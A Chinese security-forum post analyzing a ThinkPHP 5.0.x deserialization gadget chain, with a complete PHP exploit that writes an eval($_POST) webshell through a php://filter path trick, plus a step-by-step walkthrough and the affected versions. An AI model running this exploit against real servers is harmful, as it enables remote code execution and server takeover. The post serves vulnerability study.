安全矩阵

 找回密码
 立即注册
搜索
查看: 2644|回复: 0

Thinkphp5.0.x反序列化利用链分析

[复制链接]

180

主题

231

帖子

1180

积分

金牌会员

Rank: 6Rank: 6

积分
1180
发表于 2021-10-20 21:07:15 | 显示全部楼层 |阅读模式
本帖最后由 Grav1ty 于 2021-10-20 21:09 编辑

原文链接:Thinkphp5.0.x反序列化利用链分析
漏洞复现

exp
  1. <?php

  2. //__destruct
  3. namespace think\process\pipes{
  4.     class Windows{
  5.         private $files=[];

  6.         public function __construct($pivot)
  7.         {
  8.             $this->files[]=$pivot; //传入Pivot类
  9.         }
  10.     }
  11. }

  12. //__toString Model子类
  13. namespace think\model{
  14.     class Pivot{
  15.         protected $parent;
  16.         protected $append = [];
  17.         protected $error;

  18.         public function __construct($output,$hasone)
  19.         {
  20.             $this->parent=$output; //$this->parent等于Output类
  21.             $this->append=['a'=>'getError'];
  22.             $this->error=$hasone;   //$modelRelation=$this->error
  23.         }
  24.     }
  25. }

  26. //getModel
  27. namespace think\db{
  28.     class Query
  29.     {
  30.         protected $model;

  31.         public function __construct($output)
  32.         {
  33.             $this->model=$output; //get_class($modelRelation->getModel()) == get_class($this->parent)
  34.         }
  35.     }
  36. }

  37. namespace think\console{
  38.     class Output
  39.     {
  40.         private $handle = null;
  41.         protected $styles;
  42.         public function __construct($memcached)
  43.         {
  44.             $this->handle=$memcached;
  45.             $this->styles=['getAttr'];
  46.         }
  47.     }
  48. }

  49. //Relation
  50. namespace think\model\relation{
  51.     class HasOne{
  52.         protected $query;
  53.         protected $selfRelation;
  54.         protected $bindAttr = [];

  55.         public function __construct($query)
  56.         {
  57.             $this->query=$query; //调用Query类的getModel

  58.             $this->selfRelation=false; //满足条件!$modelRelation->isSelfRelation()
  59.             $this->bindAttr=['a'=>'admin'];  //控制__call的参数$attr
  60.         }
  61.     }
  62. }

  63. namespace think\session\driver{
  64.     class Memcached{
  65.         protected $handler = null;

  66.         public function __construct($file)
  67.         {
  68.             $this->handler=$file; //$this->handler等于File类
  69.         }
  70.     }
  71. }

  72. namespace think\cache\driver{
  73.     class File{
  74.         protected $options = [
  75.             'path'=> 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php',
  76.             'cache_subdir'=>false,
  77.             'prefix'=>'',
  78.             'data_compress'=>false
  79.         ];
  80.         protected $tag=true;


  81.     }
  82. }

  83. namespace {
  84.     $file=new think\cache\driver\File();
  85.     $memcached=new think\session\driver\Memcached($file);
  86.     $output=new think\console\Output($memcached);
  87.     $query=new think\db\Query($output);
  88.     $hasone=new think\model\relation\HasOne($query);
  89.     $pivot=new think\model\Pivot($output,$hasone);
  90.     $windows=new think\process\pipes\Windows($pivot);

  91.     echo urlencode(serialize($windows));
  92. }
复制代码
写入成功

  1. http://localhost/public/a.php3b58a9545013e88c7186db11bb158c44.php
复制代码

文件内容
利用链分析
  • thinkphp/library/think/process/pipes/Windows.php __destruct 调用removeFiles
  • removeFiles,调用file_exists触发__toString
  • thinkphp/library/think/Model.php tostring->toJson->toArray 最终调用`call`
  • thinkphp/library/think/console/Output.php __call 调用Output类的block
  • thinkphp/library/think/console/Output.php block调用writeIn->write,最后调用$this->handle->write(),全局搜索write方法
  • thinkphp/library/think/session/driver/Memcached.php write方法调用$this->handle->set(),全局搜索set
  • thinkphp/library/think/cache/driver/File.php set调用file_put_contents写入文件,但是参数不可控,继续进入setTagItem
  • setTagItem再次调用set,此时参数可控,写入webshell

1.thinkphp/library/think/process/pipes/Windows.php
起点:__destruct
调用removeFiles方法
2.thinkphp/library/think/process/pipes/Windows.php
removeFiles中调用了file_exists,触发__toString
3.thinkphp/library/think/Model.php
__toString->toJson->toArray:
执行到$item[$key] = $value ? $value->getAttr($attr) : null;就能够执行Output类__call魔术方法

需要让$value等于Output类
需要满足条件进入else分支
  • $this->append不为空
  • $bindAttr

$value是包含__call方法的类,也就是Output类,$attr是传入的参数。来看一下$value和$attr的来源

$value变量来源
$value的赋值过程
  1. $modelRelation = $this->$relation();
  2. $value         = $this->getRelationData($modelRelation);
复制代码
让$relation等于Model类的getError(),这样$modelRelation就等于$this->error,$modelRelation可控


进入getRelationData,传入的$modelRelation必须是Relation类型,全局搜索找到符合要求的类HasOne
需要满足三个条件进入if分支,才能使$value可控,等于$this->parent
  1. $this->parent && !$modelRelation->isSelfRelation() && get_class($modelRelation->getModel()) == get_class($this->parent)
复制代码
第一个条件:$this->parent就是$value的来源,等于Output类
来看一下如何满足第二个条件
  1. !$modelRelation->isSelfRelation()
复制代码
HasOne类是OneToOne类的子类,同样继承了Relation
/thinkphp/library/think/model/Relation.php
isSelfRelation方法,需要让$this->selfRelation为false
第三个条件,需要让$modelRelation->getModel()返回Output类
  1. get_class($modelRelation->getModel()) == get_class($this->parent)
复制代码
/thinkphp/library/think/model/Relation.php
Relation的getModel方法可以调用任意类的getModel方法,全局搜索getModel()
$attr的来源
$modelRelation必须是一个有getBindAttr方法且bindAttr属性可控的类,全局搜索存在getBindAttr方法的类
/thinkphp/library/think/model/relation/OneToOne.php
找到符合要求的类OneToOne,上面已经用了它的子类HasOne,所以直接改HasOne的bindAttr属性就行
先构造部分poc,目的是成功调用到Output类的__call
  1. <?php

  2. //__destruct
  3. namespace think\process\pipes{
  4.     class Windows{
  5.         private $files=[];

  6.         public function __construct($pivot)
  7.         {
  8.             $this->files[]=$pivot; //传入Pivot类
  9.         }
  10.     }
  11. }

  12. //__toString Pivot是Model子类
  13. namespace think\model{
  14.     class Pivot{
  15.         protected $parent;
  16.         protected $append = [];
  17.         protected $error;

  18.         public function __construct($output,$hasone)
  19.         {
  20.             $this->parent=$output; //$this->parent等于Output类
  21.             $this->append=['a'=>'getError'];
  22.             $this->error=$hasone;   //$modelRelation=$this->error=Hasone类
  23.         }
  24.     }
  25. }

  26. //getModel
  27. namespace think\db{
  28.     class Query
  29.     {
  30.         protected $model;

  31.         public function __construct($output)
  32.         {
  33.             $this->model=$output; //$modelRelation->getModel()等于Output类
  34.         }
  35.     }
  36. }

  37. //__call
  38. namespace think\console{
  39.     class Output
  40.     {
  41.         public function __construct()
  42.         {

  43.         }
  44.     }
  45. }

  46. //HasOne类继承自Relation
  47. namespace think\model\relation{
  48.     class HasOne{
  49.         protected $query;
  50.         protected $selfRelation;
  51.         protected $bindAttr = [];

  52.         public function __construct($query)
  53.         {
  54.             $this->query=$query; //调用Query类的getModel

  55.             $this->selfRelation=false; //满足条件!$modelRelation->isSelfRelation()
  56.             $this->bindAttr=['a'=>'a'];  //控制__call的参数$attr
  57.         }
  58.     }
  59. }

  60. namespace {
  61.     $output=new think\console\Output();

  62.     $query=new think\db\Query($output);

  63.     $hasone=new think\model\relation\HasOne($query);
  64.     $pivot=new think\model\Pivot($output,$hasone);
  65.     $windows=new think\process\pipes\Windows($pivot);

  66.     echo urlencode(serialize($windows));
  67. }
复制代码
成功调用了Output类的__call


4./thinkphp/library/think/console/Output.php
Output类的__call,调用block方法
5./thinkphp/library/think/console/Output.php
Output类的block方法调用了writeIn,$message就是HasOne类的属性bindAttr数组的值,是可控的。格式如下
  1. <getAttr>admin</getAttr>
复制代码


6./thinkphp/library/think/console/Output.php
Output类的writeIn方法调用了write方法,$this->handle可控,可以调用任意类的write方法。全局搜索write方法
7.thinkphp/library/think/session/driver/Memcached.php
找到Memcached类的write方法,可以调用任意类的set方法,全局搜索set方法
8.thinkphp/library/think/cache/driver/File.php
最后找到File类,set方法中可以调用file_put_contents方法写入shell。
第一个参数$name是从block方法那里传入的,还是
  1. <getAttr>admin</getAttr>
复制代码
第二个参数$value固定为false
文件名$filename来源于getCacheKey,实际上等于
  1. $filename = $this->options['path'] . md5($name) . '.php';
复制代码
也就是
  1. $filename = $this->options['path'] . md5('<getAttr>admin</getAttr>') . '.php';
复制代码
可以通过$this->options['path']控制文件名

还有个问题,文件内容不可控。
$data来自于set方法的参数$value,而$value的值固定为true,而且$expire只能为数值,
9.thinkphp/library/think/cache/driver/File.php
继续执行进入setTagItem,再次调用set,两个参数都可控了
现在第一个参数$name等于
  1. 'tag_' . md5($this->tag);
复制代码
$value就是上面的$filename
  1. $value=php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php63ac11a7699c5c57d85009296440d77a.php
复制代码

利用php://filter的convert.iconv和convret.base64-decode绕过拼接的exit(),写入webshell
一共会写入两个文件,第一个文件内容不可控,第二个才是webshell
  1. a.php3b58a9545013e88c7186db11bb158c44.php
复制代码
总结
实际测试在5.0.24和5.0.18可用,5.0.9不可用
要点:
  • Model类的__toString调用Output类的__call的条件
  • 二次调用set实现内容可控
  • 用过滤器绕过文件名和exit()

借用文章里的图总结一下





本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-4-22 22:11 , Processed in 0.015499 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表